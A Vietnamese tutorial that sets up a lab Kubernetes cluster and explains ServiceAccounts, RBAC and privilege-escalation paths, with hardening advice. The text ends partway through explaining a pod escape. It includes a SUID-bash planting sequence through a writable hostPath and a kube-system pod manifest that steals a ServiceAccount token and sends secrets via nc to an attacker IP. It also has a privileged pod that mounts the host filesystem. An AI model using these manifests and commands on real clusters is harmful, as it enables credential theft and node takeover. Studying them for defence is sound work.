sudo modprobe br_netfilter

1. Tạo file /etc/modules-load.d/k8s.conf:

sudo tee /etc/modules-load.d/k8s.conf <<EOF
overlay
br_netfilter
EOF

1. Bật sysctl networking cho Kubernetes:

sudo tee /etc/sysctl.d/k8s.conf <<EOF
net.bridge.bridge-nf-call-iptables = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward = 1
EOF

sudo sysctl --system

1. Cài và cấu hình containerd:

sudo apt install -y containerd
sudo mkdir -p /etc/containerd
containerd config default | sudo tee /etc/containerd/config.toml >/dev/null
sudo sed -i 's/SystemdCgroup = false/SystemdCgroup = true/' /etc/containerd/config.toml
sudo systemctl restart containerd
sudo systemctl enable containerd
sudo systemctl status containerd

Trạng thái hiện tại: containerd đã active (running).

Bước tiếp theo

Cài kubeadm, kubelet, kubectl từ repo Kubernetes chính thức, sau đó chạy kubeadm init để tạo single-node cluster.

Cập nhật sau khi containerd active

Sau khi containerd đã active (running), tiếp tục cài Kubernetes packages từ repo chính thức pkgs.k8s.io:

sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.33/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg
echo 'deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.33/deb/ /' | sudo tee /etc/apt/sources.list.d/kubernetes.list
sudo apt update
sudo apt install -y kubelet kubeadm kubectl
sudo apt-mark hold kubelet kubeadm kubectl

Kiểm tra version:

kubeadm version
kubectl version --client
kubelet --version

Kết quả hiện tại:

kubeadm/kubelet/kubectl: v1.33.12

Khởi tạo kubeadm single-node cluster

Chạy lệnh init cluster với Pod CIDR phù hợp Calico:

sudo kubeadm init --pod-network-cidr=192.168.0.0/16

Kết quả: Kubernetes control-plane đã init thành công.

Sau đó cấu hình kubeconfig cho user thường:

mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

Kiểm tra ban đầu:

kubectl get nodes
kubectl get pods -A

Trạng thái ban đầu sau init:

k8s-node   NotReady   control-plane   v1.33.12
CoreDNS    Pending

Nguyên nhân: cluster chưa có CNI.

Cài Calico CNI

Cài Calico:

kubectl apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.30.0/manifests/calico.yaml

Cho phép schedule workload lên control-plane vì đây là lab single-node:

kubectl taint nodes --all node-role.kubernetes.io/control-plane-

Kiểm tra lại:

kubectl get nodes
kubectl get pods -A

Trạng thái hiện tại:

k8s-node   Ready   control-plane   v1.33.12

kube-system/calico-kube-controllers   1/1 Running
kube-system/calico-node               1/1 Running
kube-system/coredns                   1/1 Running
kube-system/etcd                      1/1 Running
kube-system/kube-apiserver            1/1 Running
kube-system/kube-controller-manager   1/1 Running
kube-system/kube-proxy                1/1 Running
kube-system/kube-scheduler            1/1 Running

Kết luận: kubeadm single-node cluster đã dựng thành công và sẵn sàng triển khai lab privilege escalation.

Trước khi đi sau vào kĩ thuật thì mình cũng muốn các bạn có thể hiểu được các khái niệm mà mình thấy là quan trọng để có thể khai thác các lỗ hổng về K8s.

I. ServiceAccount là gì?

Trong Kubernetes, ServiceAccount cung cấp định danh cho các tiến trình chạy bên trong container . Khi người dùng cố gắng xác thực với với API K8s , người có chỉ cần certificate để xác minh danh tính của họ . Còn với một non-human resource như pod thì cần SA để có danh tính khi giao tiếp API server K8s . Một tiến trình bên trong Pod có thể sử dụng SA được liên kết với nó để xác thực với API server.

Trong Kubernetes, cơ chế gán ServiceAccount (SA) mặc định hoạt động như sau:

• Tự động gán: Mỗi Namespace luôn có sẵn một SA tên là default.
• Mặc định: Nếu bạn không chỉ định serviceAccountName trong file cấu hình Pod, K8s sẽ tự động gán SA default này cho Pod đó.
• Gắn Token: K8s sẽ tự động mount một API token của SA này vào thư mục /var/run/secrets/kubernetes.io/serviceaccount bên trong Pod.

Ví dụ:

Pod -> dùng ServiceAccount token -> gọi Kubernetes API Server

Mặc định, Kubernetes thường mount thông tin ServiceAccount vào pod tại:

/var/run/secrets/kubernetes.io/serviceaccount/

Trong thư mục này thường có:

ca.crt      certificate để verify API server
namespace  namespace hiện tại của pod
token      bearer token của ServiceAccount

II. RBAC là gì?

RBAC là viết tắt của Role-Based Access Control. Nó quyết định một identity được phép làm gì trong Kubernetes.

RBAC trả lời các câu hỏi kiểu:

ServiceAccount này có được get secrets không? ServiceAccount này có được list pods không? ServiceAccount này có được create deployments không? ServiceAccount này có được đọc secret trong namespace khác không?

RBAC thường gồm 4 object chính:

Role ,RoleBinding , ClusterRole, ClusterRoleBinding

Trong K8s các thành phần này dùng để quản lí quyền hạn của người dùng và ứng dụng với các tài nguyên trong Cluster

Hiểu 1 cách đơn giản thì Role/ClusterRole : Dùng cho câu hỏi được làm gì ? (Định nghĩa quyền) còn binding thì trả lời cho câu hỏi ai được làm (gán quyền cho 1 người dùng cụ thể)

Role/Rolebiding : Dùng khi bạn muốn giới hạn quyền định ra trong 1 namespace nhất định

• Role : Tập hợp các quy tắc cho phép thực hiện 1 hành động (get,list,create,delete) trên các tài nguyên như Pod, Service trong 1 namespace
• Rolebiding : Liên kết 1 role với 1 object cụ thể như User , Group, hoặc Service Account) trong cùng 1 namespace đó . Ví dụ như : Gán quyền “chỉ xem Pod” cho bạn An trong namespace frontend

ClusterRole và ClusterRoleBinding (Cấp độ Toàn Cụm): Dùng cho các tài nguyên không thuộc Namespace (như Nodes, PersistentVolumes) hoặc khi muốn cấp quyền trên toàn bộ các Namespace.

• ClusterRole: Định nghĩa quyền trên toàn cluster. Nó có thể dùng để phân quyền cho các tài nguyên chung của hệ thống.
• ClusterRoleBinding: Cấp quyền từ ClusterRole cho người dùng trên phạm vi toàn cụm, bất kể Namespace nào.

Các lệnh enum RBAC

# Get current privileges
kubectl auth can-i --list
# use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account

# List Cluster Roles
kubectl get clusterroles
kubectl describe clusterroles

# List Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings

# List Roles
kubectl get roles
kubectl describe roles

# List Roles Bindings
kubectl get rolebindings
kubectl describe rolebindings

Một số quyền hạn nguy hiểm nếu config ko chính xác sẽ có thể là 1 attack surface cho các attacker khai thác

1. Manipulate AuthN / AuthZ (Thao túng xác thực và ủy quyền)

Nhóm này cho phép kẻ tấn công thay đổi cách hệ thống nhận diện và cấp quyền:

• impersonate: Giả danh người dùng khác (có thể là admin).
• escalate: Tự nâng cấp quyền hạn của chính mình.
• bind: Tạo các liên kết quyền mới để cấp quyền cho tài khoản khác.

1. Remote Code Execution (Thực thi mã từ xa)

Nhóm này cho phép kẻ tấn công chạy lệnh trái phép bên trong các container:

• create pods/exec: Chạy lệnh trực tiếp vào một Pod đang hoạt động.
• create nodes/proxy: Kết nối trực tiếp đến các Node thông qua proxy để can thiệp sâu hơn.
• control mutating webhooks: Thay đổi cấu hình của các đối tượng ngay khi chúng vừa được tạo ra.

1. Acquire Tokens (Chiếm đoạt Token)

Nhóm này tập trung vào việc lấy các thông tin đăng nhập bí mật:

• list secrets: Đọc toàn bộ mật khẩu, API key lưu trong cluster.
• create serviceaccounts/token: Tự tạo token mới cho các tài khoản dịch vụ để duy trì quyền truy cập bền bỉ.

1. Steal Pods (Đánh cắp hoặc can thiệp Pod)

Nhóm này nhắm vào việc điều hướng hoặc phá hủy các ứng dụng đang chạy:

• modify nodes: Thay đổi cấu hình máy chủ để ép Pod chạy trên các nút bị kiểm soát.
• delete pods/nodes: Gây gián đoạn dịch vụ bằng cách xóa các thành phần quan trọng.

Trong bài viết Kubernetes RBAC: Paths for Privilege Escalation của Schutzwerk, tác giả chỉ ra một điểm rất quan trọng: RBAC đúng là lớp authorization để ngăn truy cập trái phép, nhưng một số quyền RBAC nếu cấp sai có thể biến chính cơ chế phân quyền này thành đường leo thang đặc quyền. Nói cách khác, vấn đề không nằm ở RBAC bị lỗi, mà nằm ở việc một identity như User, Group hoặc ServiceAccount được cấp những quyền quá mạnh so với nhu cầu thật sự.

Bài viết gom các đường leo thang đặc quyền trong RBAC vào một số nhóm quyền nguy hiểm chính:

• create pods
• get/list secrets
• bind
• escalate
• impersonate

Các quyền này nhìn riêng lẻ có thể có vẻ hợp lý trong vận hành, nhưng khi attacker chiếm được một identity có các quyền đó, chúng có thể trở thành attack path để đi từ quyền thấp lên quyền cao hơn.

1. create pods: tạo Pod để chiếm token hoặc chạm tới Node

Quyền create pods nghe có vẻ bình thường vì Pod là đơn vị workload cơ bản trong Kubernetes. Tuy nhiên, RBAC chỉ kiểm tra identity đó có được phép tạo Pod hay không, chứ bản thân RBAC không kiểm tra Pod đó có cấu hình an toàn hay không. Nếu cluster thiếu Admission Controller hoặc policy chặn cấu hình nguy hiểm, attacker có thể tạo Pod với image, volume, serviceAccountName, securityContext hoặc host mount có lợi cho việc leo thang.

Có hai hướng nguy hiểm phổ biến:

• Tạo Pod dùng một ServiceAccount mạnh hơn trong cùng namespace, sau đó đọc token được mount trong /var/run/secrets/kubernetes.io/serviceaccount/.
• Tạo Pod có cấu hình quá mạnh như privileged, hostPath, hostPID, hostNetwork, từ đó tìm cách truy cập node hoặc đọc dữ liệu nhạy cảm trên host.

Điểm cần nhớ là create pods không chỉ là quyền deploy app. Trong một cluster cấu hình lỏng, nó có thể trở thành quyền để attacker tự tạo môi trường tấn công bên trong cluster.

2. get/list secrets: đọc Secret để chiếm credential

Secret trong Kubernetes thường chứa thông tin nhạy cảm như password database, API key, TLS key, kubeconfig hoặc token của ServiceAccount. Vì vậy, identity có quyền đọc Secret trong một namespace có thể lấy credential của workload khác rồi hành động với quyền của credential đó.

Cần phân biệt get và list:

• list secrets cho phép liệt kê toàn bộ Secret trong phạm vi được cấp quyền, rất nguy hiểm vì attacker có thể thấy nhiều object cùng lúc.
• get secrets yêu cầu biết tên Secret cụ thể, nhưng vẫn nguy hiểm nếu attacker đoán được tên Secret hoặc lấy được tên từ manifest, log, config, GitOps repo hay output enum khác.

Trong các phiên bản Kubernetes cũ, token của ServiceAccount từng được tạo thành Secret với pattern dễ nhận biết. Vì vậy, nếu có quyền đọc Secret, attacker có thể chiếm token của ServiceAccount rồi gọi Kubernetes API với quyền của ServiceAccount đó. Với các cluster mới, cơ chế token đã thay đổi an toàn hơn, nhưng Secret vẫn là nơi cực kỳ nhạy cảm và không nên cấp quyền đọc rộng.

3. impersonate: giả danh identity khác

impersonate cho phép một identity gửi request tới API server dưới danh nghĩa user, group hoặc ServiceAccount khác. Cơ chế này hữu ích cho admin khi cần kiểm tra quyền, ví dụ test xem một ServiceAccount có thể làm gì. Nhưng nếu cấp sai, attacker có thể giả danh identity có quyền cao hơn.

Ví dụ về mặt khái niệm:

• Impersonate user admin để thực hiện hành động mà user hiện tại không có quyền.
• Impersonate group có quyền mạnh, ví dụ group được bind tới ClusterRole quan trọng.
• Impersonate ServiceAccount trong namespace nhạy cảm như monitoring, CI/CD hoặc kube-system.

Vì vậy, impersonate nên được xem là quyền cực kỳ nhạy cảm. Khi audit RBAC, cần kiểm tra không chỉ impersonate user, mà cả impersonate group và serviceaccounts.

4. bind: tự gán Role hoặc ClusterRole mạnh hơn

Thông thường, Kubernetes không cho một user tự bind một Role chứa quyền cao hơn quyền mà user đó đang có. Đây là cơ chế chống privilege escalation mặc định. Tuy nhiên, nếu identity có thêm quyền bind, nó có thể gán Role hoặc ClusterRole cho chính nó hoặc cho identity khác.

Có ba mức độ rủi ro:

• create rolebindings + bind roles: có thể gán các Role trong namespace cho chính mình.
• create rolebindings + bind clusterroles: có thể đem quyền từ ClusterRole áp vào một namespace cụ thể.
• create clusterrolebindings + bind clusterroles: có thể gán quyền ở phạm vi toàn cluster, rủi ro cao nhất.

Nếu attacker bind được ClusterRole như cluster-admin vào ServiceAccount mình kiểm soát, coi như attacker đã chiếm quyền quản trị cluster.

5. escalate: sửa Role/ClusterRole để thêm quyền mình chưa có

Kubernetes cũng có cơ chế chặn user tạo hoặc sửa Role chứa quyền mà bản thân user chưa sở hữu. Nhưng quyền escalate được thiết kế để bypass cơ chế này cho các trường hợp admin hợp lệ cần quản lý RBAC.

Nếu attacker có quyền create/update roles hoặc create/update clusterroles cộng thêm escalate, attacker có thể sửa Role/ClusterRole đang được gán cho mình để thêm quyền mới, ví dụ thêm get secrets, create pods, bind, hoặc thậm chí quyền wildcard *.

Nói ngắn gọn:

bind nguy hiểm vì cho phép gán quyền mạnh có sẵn.
escalate nguy hiểm vì cho phép tạo hoặc sửa quyền mạnh hơn quyền hiện tại.

Tóm tắt attack path

Một chuỗi RBAC privilege escalation thực tế thường có dạng:

Compromise pod/app
-> lấy ServiceAccount token
-> kubectl auth can-i --list
-> phát hiện quyền nguy hiểm
-> đọc Secret / tạo Pod / impersonate / bind / escalate
-> chiếm ServiceAccount hoặc Role mạnh hơn
-> mở rộng quyền trong namespace hoặc toàn cluster

Điểm hay của bài Schutzwerk là nó không xem RBAC privilege escalation như một lỗi đơn lẻ, mà xem nó như một tập hợp các permission có thể nối lại thành attack path. Chỉ cần một ServiceAccount bị cấp thừa quyền và workload bị compromise, attacker có thể dùng chính Kubernetes API để leo thang thay vì cần khai thác CVE phức tạp.

Phòng thủ và hardening

Để giảm rủi ro RBAC privilege escalation, có thể áp dụng các hướng sau:

• Áp dụng least privilege cho User, Group và ServiceAccount.
• Không cấp wildcard * cho apiGroups, resources hoặc verbs nếu không thật sự cần.
• Hạn chế nghiêm ngặt các quyền bind, escalate, impersonate.
• Không cấp get/list secrets rộng cho workload thông thường.
• Kiểm soát quyền create pods, vì quyền này có thể bị biến thành pod-to-node hoặc pod-to-token attack path.
• Tắt automountServiceAccountToken với Pod không cần gọi Kubernetes API.
• Dùng Admission Controller như Pod Security Admission, Kyverno hoặc OPA Gatekeeper để chặn Pod nguy hiểm.
• Audit định kỳ bằng các công cụ như kubectl auth can-i --list, KubiScan, rbac-tool hoặc kubeaudit.
• Theo dõi audit log cho các hành động nhạy cảm như tạo RoleBinding, ClusterRoleBinding, impersonate request, đọc Secret hoặc tạo Pod bất thường.

Nguồn tham khảo: Schutzwerk - Kubernetes RBAC: Paths for Privilege Escalation

Dưới đây là 1 bài tập mà mình tìm được về KillerConda để có thể demo cách config về RBAC

Câu 1 : Cái này thì bạn tạo ra các resource cùng với cái verb thực hiện resource đó trong 1 namepace là application

Câu 2 : Sau khi tạo role thì bạn rolebinding gắn các quyền vào các role đó

Câu 3 : Kiểm tra lại các quyền mà ta có thể làm

III . Nghiên cứu các kĩ thuật leo thang đặc quyền trong K8s

1. Attacking Kubernetes from inside a Pod

Khi attacker chiếm được shell trong 1 Pod , container đó trở thành 1 chỗ đứng ở bên trong K8s cluster . Từ đây mục đích của các attacker là thoát khỏi Pod từ Node đó bằng cách kiểm tra quyền của Pod , tìm token , dò các service nội bộ , kiểm tra volume mount ,…

Pod escape : Là quá trình attacker thoát khỏi phạm vi container /Pod để truy cập vào các Node . Tất nhiên là không phải Pod nào cũng escape được , tùy thuộc cái cách Pod đó được config như Pod đó có Privileged mode không , hostPath mount , hostPID, hostNetwork , Linux capabilities hoặc container runtime bị expose,…

Đây là ví dụ điển hình của misconfiguration trong Kubernetes. Một cấu hình volume tưởng như phục vụ vận hành có thể trở thành đường dẫn để attacker đi từ container ra Node.

a) Abusing writeable hostPath/bind mounts (Container -> host root via SUID planting)

Trước khi đi sau vào kĩ thuật tấn công thì giới thiệu sơ qua về khái niệm hostPath

Trong Kubernetes, hostPath volume là cơ chế cho phép bạn gắn (mount) trực tiếp một tập tin hoặc thư mục từ hệ thống tập tin (filesystem) của máy chủ (Worker Node) vào bên trong một Pod.

Đặc điểm cốt lõi

• Lưu trữ cục bộ: Dữ liệu được lưu thẳng trên ổ cứng của Node vật lý (hoặc máy ảo) đang chạy Pod.
• Độ bền (Persistence): Dữ liệu không bị mất khi container trong Pod bị khởi động lại hoặc bị xóa.
• Tính ràng buộc (Node-specific): Vì gắn với một Node cụ thể, nếu Pod bị tắt và được lên lịch (schedule) lại sang một Node khác, nó sẽ không thể truy cập được dữ liệu cũ trừ khi Node mới có cấu trúc thư mục y hệt

Thông thường , hostPath thường được áp dụng cho các trường hợp đặc thù như:

• Chạy các ứng dụng cần đọc hoặc ghi vào log hệ thống của Node.
• Cần truy cập các socket Docker daemon (ví dụ: /var/run/docker.sock) từ bên trong Pod.
• Thực hiện các tác vụ giám sát (monitoring) hoặc quản lý cluster yêu cầu quyền truy cập sâu vào filesystem của Node

Nếu một Pod hoặc container bị compromise có 1 volume ghi được ánh xạ trực tiếp đến host filesystem (K8s hostPath hoặc là Docker bindmount ), và bạn có thể trở thành root bên trong container , bạn có thể tận dụng mount đó để có thể tạo ra 1 setuid-root binary trên host và sau đó thực thi nó từ máy chủ để lấy quyền root

Key conditions :

• Volume mount từ host vào container có quyền ghi
• Filesystem host không bật cơ chế chặn kiểu nosuid.
• Attacker có cách khiến file được ghi trên host nếu file được thực thi

Cách xác định hostPath/bind mounts có thể được ghi

• With kubectl , thì bạn có check bằng lệnh sau

  kubectl get pod -o jsonpath='{.specvolumes[*].hostPath.path}'
  

• Từ bên trong container , list mount và tìm kiếm host-path mounts

# Inside the compromised container
mount | column -t

cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true

findmnt -T / 2>/dev/null | sed -n '1,200p'

# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"

# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Plant a setuid root binary from the container:

# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID

MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory

cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"

# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Lưu ý khi khai thác writable hostPath

Kỹ thuật writable hostPath không phải lúc nào cũng dẫn tới leo thang đặc quyền ngay lập tức. Một ví dụ phổ biến là attacker ghi một SUID binary vào thư mục được mount từ host. Về lý thuyết, nếu binary này thuộc sở hữu của root và có SUID bit, khi được thực thi trên host nó có thể chạy với effective UID là root.

Ngoài ra, attacker cần có cách để khiến file đã ghi được thực thi từ phía host. Nếu chỉ có quyền ghi từ container nhưng không có user shell, cron job, systemd service hoặc process nào trên host chạy file đó, thì việc “plant” SUID binary chỉ dừng lại ở việc đặt file lên host filesystem, chưa đủ để chiếm quyền.

Tuy nhiên, writable hostPath vẫn là một rủi ro nghiêm trọng nếu đường dẫn được mount là thư mục nhạy cảm. Ví dụ, nếu mount trỏ tới /root/.ssh, attacker có thể ghi thêm SSH key; nếu mount trỏ tới /etc/cron.d, attacker có thể tạo cron job; nếu mount trỏ tới /etc/systemd/system, attacker có thể đặt service persistence. Vì vậy, mức độ nguy hiểm của writable hostPath phụ thuộc rất lớn vào host path cụ thể được mount vào Pod.

Kỹ thuật này cũng hoạt động với các bind mount thông thường của Docker; trong Kubernetes, nó thường là một volume hostPath (readOnly: false) hoặc một subPath có phạm vi không chính xác.

b) Abusing Roles/ClusterRoles in Kubernetes

Như trong phần ServiceAccount mình có viết ở trên thì đa số các Pod chạy với service account token trong nó . Đôi khi SA này được cấu hình ko đúng nên chúng ta thường sẽ tận dụng tận dụng SA có 1 số đặc quyền này để có thể khai thác

Privilege Escalation trong Kubernetes có thể hiểu là quá trình attacker tìm cách chuyển từ quyền hiện tại sang một identity khác có quyền cao hơn. Identity này có thể là user, group, ServiceAccount trong cluster, hoặc trong một số trường hợp là quyền cloud IAM bên ngoài nếu cluster chạy trên AWS, GCP hoặc Azure.

Khác với privilege escalation trên Linux truyền thống, trong Kubernetes attacker không chỉ cố gắng leo từ user thường lên root trong một máy. Mục tiêu có thể là chiếm được ServiceAccount mạnh hơn, đọc được Secret nhạy cảm, tạo Pod với cấu hình nguy hiểm, truy cập Node, hoặc lợi dụng quyền cloud gắn với workload hoặc node.

Trong Kubernetes, có bốn hướng leo thang đặc quyền phổ biến:

1. Impersonation
   Attacker có quyền giả mạo user, group hoặc ServiceAccount khác. Nếu identity bị impersonate có quyền cao hơn, attacker có thể hành động với quyền của identity đó.

2. Create / Patch / Exec Pod
   Attacker có quyền tạo, sửa hoặc exec vào Pod. Nếu có thể tạo Pod dùng ServiceAccount mạnh hơn, mount secret, hoặc chạy Pod với cấu hình privileged, attacker có thể mở rộng quyền trong cluster.

3. Read Secrets
   Kubernetes Secret có thể chứa ServiceAccount token, password, kubeconfig hoặc credential ứng dụng. Nếu attacker có quyền get hoặc list Secret, họ có thể lấy credential để impersonate identity khác.

4. Escape từ container ra Node
   Nếu Pod được cấu hình quá nguy hiểm, ví dụ privileged, hostPID, hostNetwork hoặc mount hostPath, attacker có thể thoát khỏi container để truy cập Node. Khi đã vào Node, attacker có thể tìm token của các Pod khác, kubelet credential hoặc cloud metadata credential.

Ngoài bốn hướng chính trên, một quyền đáng chú ý khác là port-forward. Nếu attacker có quyền port-forward tới Pod, họ có thể truy cập các service nội bộ vốn không được expose ra ngoài.

Wildcard Permission: quyền quá rộng trong RBAC

Trong RBAC, wildcard * là một cấu hình rất nguy hiểm nếu được cấp sai đối tượng. Wildcard có thể xuất hiện ở apiGroups, resources hoặc verbs.

Ví dụ:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Cấu hình này có nghĩa là identity được cấp quyền có thể thực hiện mọi hành động trên mọi loại tài nguyên thuộc mọi API group. Nếu quyền này nằm trong ClusterRole, phạm vi ảnh hưởng không chỉ giới hạn trong một namespace mà có thể áp dụng trên toàn cluster.

Đây thường là quyền dành cho admin hoặc controller hệ thống có nhu cầu đặc biệt. Nếu một ServiceAccount của workload thông thường được gán quyền wildcard, attacker chỉ cần compromise Pod sử dụng ServiceAccount đó là có thể có gần như toàn quyền thao tác với cluster.

Một biến thể khác là wildcard resource nhưng giới hạn verb:

apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Nhìn qua có vẻ ít nguy hiểm hơn verbs: [“*”], nhưng vẫn tạo ra rủi ro lớn:

• create: có thể tạo tài nguyên mới, bao gồm Pod hoặc RoleBinding nếu không bị giới hạn.
• list: có thể liệt kê tài nguyên trong cluster, làm lộ cấu trúc hệ thống.
• get: có thể đọc tài nguyên nhạy cảm, đặc biệt là Secret.

Vì vậy, khi đánh giá RBAC, không chỉ cần tìm quyền *, mà còn cần xem quyền đó áp dụng lên resource nào và ở phạm vi namespace hay cluster.

Pod Create - Steal Token

Một quyền tưởng như bình thường nhưng rất nguy hiểm trong Kubernetes là create pods. Nếu attacker có quyền tạo Pod trong một namespace, họ có thể cố gắng tạo Pod mới sử dụng một ServiceAccount khác trong cùng namespace.

Nếu ServiceAccount đó có quyền cao hơn, token của nó sẽ được mount vào Pod mới. Khi attacker điều khiển container trong Pod này, họ có thể đọc token và dùng nó để gọi Kubernetes API với quyền của ServiceAccount mạnh hơn.

Ví dụ về một pod sẽ đánh cắp token của bootstrap-signertài khoản dịch vụ và gửi nó cho kẻ tấn công:

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
    - name: alpine
      image: alpine
      command: ["/bin/sh"]
      args:
        [
          "-c",
          'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
        ]
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true

Nói đơn giản: nếu attacker có quyền tạo Pod trong namespace kube-system, attacker có thể tạo một Pod mới và bắt Pod đó chạy bằng ServiceAccount tên bootstrap-signer. Khi Pod chạy, Kubernetes sẽ tự mount token của ServiceAccount đó vào trong container. Sau đó command bên trong container đọc token này và dùng nó để gọi API Server.

Giải thích từng phần

metadata: name: alpine namespace: kube-system

Tạo Pod tên alpine trong namespace kube-system.

Namespace này nhạy cảm vì thường chứa các component hệ thống hoặc ServiceAccount quan trọng.

image: alpine 
command: ["/bin/sh"]

Pod dùng image Alpine và chạy shell.

serviceAccountName: bootstrap-signer
automountServiceAccountToken: true

Đây là phần quan trọng nhất.

Nó bảo Kubernetes chạy Pod này với ServiceAccount bootstrap-signer.

Khi automountServiceAccountToken: true, token của ServiceAccount đó sẽ được mount vào container tại:

/run/secrets/kubernetes.io/serviceaccount/token

Tức là bên trong container có thể đọc được token này.

cat /run/secrets/kubernetes.io/serviceaccount/token

Lệnh này đọc token của ServiceAccount bootstrap-signer.

curl -k -v \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets

Lệnh này dùng token vừa đọc để gọi Kubernetes API.

Cụ thể nó đang thử truy cập endpoint liệt kê Secret trong namespace kube-system.

Nếu ServiceAccount bootstrap-signer có quyền đọc Secret, API Server sẽ trả về dữ liệu Secret.

| nc -nv 192.168.154.228 6666

Phần này gửi output ra máy attacker ở IP 192.168.154.228, port 6666.

Nói cách khác:

Đọc token -> dùng token gọi API -> gửi kết quả về attacker

hostNetwork: true

Pod dùng network namespace của Node.

Điều này có thể giúp Pod truy cập network giống như Node, đôi khi bypass một số giới hạn network hoặc truy cập được endpoint mà Pod thường không truy cập được.

Điểm quan trọng ở đây là attacker không cần biết password hay private key của ServiceAccount. Kubernetes tự động mount token vào Pod nếu automountServiceAccountToken được bật.

Điều kiện cần có

• Attacker có quyền create pods.
• Namespace tồn tại ServiceAccount có quyền cao hơn.
• Admission policy không chặn việc gắn ServiceAccount đó.
• Token được mount vào Pod.

Phòng thủ

• Không cấp quyền create pods quá rộng.
• Không để ServiceAccount mạnh nằm trong namespace có workload kém tin cậy.
• Tắt automountServiceAccountToken nếu Pod không cần gọi Kubernetes API.
• Dùng RBAC least privilege.
• Dùng admission controller như Kyverno, OPA Gatekeeper hoặc Pod Security Admission để kiểm soát ServiceAccount được phép sử dụng.

Pod Create & Escape

Nếu attacker có quyền tạo Pod và cluster không có chính sách Pod Security chặt chẽ, họ có thể tạo một Pod với cấu hình nguy hiểm để tiếp cận Node.

Một số cấu hình đặc biệt nguy hiểm gồm:

Nếu nhiều cấu hình nguy hiểm được kết hợp, Pod có thể trở thành cầu nối để attacker escape ra Node.

apiVersion: v1
kind: Pod
metadata:
  name: ubuntu
  labels:
    app: ubuntu
spec:
  # Uncomment and specify a specific node you want to debug
  # nodeName: <insert-node-name-here>
  containers:
    - image: ubuntu
      command:
        - "sleep"
        - "3600" # adjust this as needed -- use only as long as you need
      imagePullPolicy: IfNotPresent
      name: ubuntu
      securityContext:
        allowPrivilegeEscalation: true
        privileged: true
        #capabilities:
        #  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
        runAsUser: 0 # run as root (or any other user)
      volumeMounts:
        - mountPath: /host
          name: host-volume
  restartPolicy: Never # we want to be intentional about running this pod
  hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
  hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
  hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
  volumes:
    - name: host-volume
      hostPath:
        path: /

Giải thích từng phần

`apiVersion: v1 
kind: Pod 
metadata: 
name: ubuntu`

Tạo một Pod tên ubuntu.

containers: - image: ubuntu command: - "sleep" - "3600"

Container dùng image Ubuntu và chỉ chạy sleep 3600 để giữ Pod sống trong 1 giờ. Sau khi Pod chạy, attacker có thể exec vào container để thao tác thủ công.

securityContext:
  allowPrivilegeEscalation: true
  privileged: true
  runAsUser: 0

Đây là phần rất nguy hiểm.

• runAsUser: 0: container chạy bằng user root.
• allowPrivilegeEscalation: true: cho phép process trong container leo quyền thông qua cơ chế như SUID hoặc file capability.
• privileged: true: container được cấp quyền rất cao, gần với quyền của host. Nhiều lớp cô lập bảo mật của container bị nới lỏng.

Nói ngắn gọn: container này không còn là workload bình thường nữa, mà là một container có quyền hệ thống rất mạnh.

volumeMounts:
  - mountPath: /host
    name: host-volume

Mount một volume vào trong container tại đường dẫn /host.

Phần volume được định nghĩa bên dưới:

volumes:
  - name: host-volume
    hostPath:
      path: /

hostPath.path: / nghĩa là mount toàn bộ filesystem gốc của Node vào container.

Tức là:

Trong container: /host ,Thực tế là: / của Node

Vì vậy, khi attacker vào container và đọc /host/etc, thực chất là đang đọc /etc của Node.

Ví dụ:

/host/etc/kubernetes/ /host/var/lib/kubelet/ /host/root/ /host/home/

Đây là một trong những cấu hình hostPath nguy hiểm nhất.

hostIPC: true

Container dùng IPC namespace của host.

IPC là cơ chế giao tiếp giữa các process như shared memory, semaphore, message queue. Nếu dùng IPC namespace của host, container có thể nhìn thấy hoặc tương tác với một số IPC resource của Node.

hostNetwork: true

Container dùng network namespace của host.

Điều này có nghĩa là Pod dùng network stack của Node, không phải network riêng của Pod. Nó có thể:

• Nhìn network từ góc nhìn của Node.
• Truy cập các service chỉ bind trên Node network.
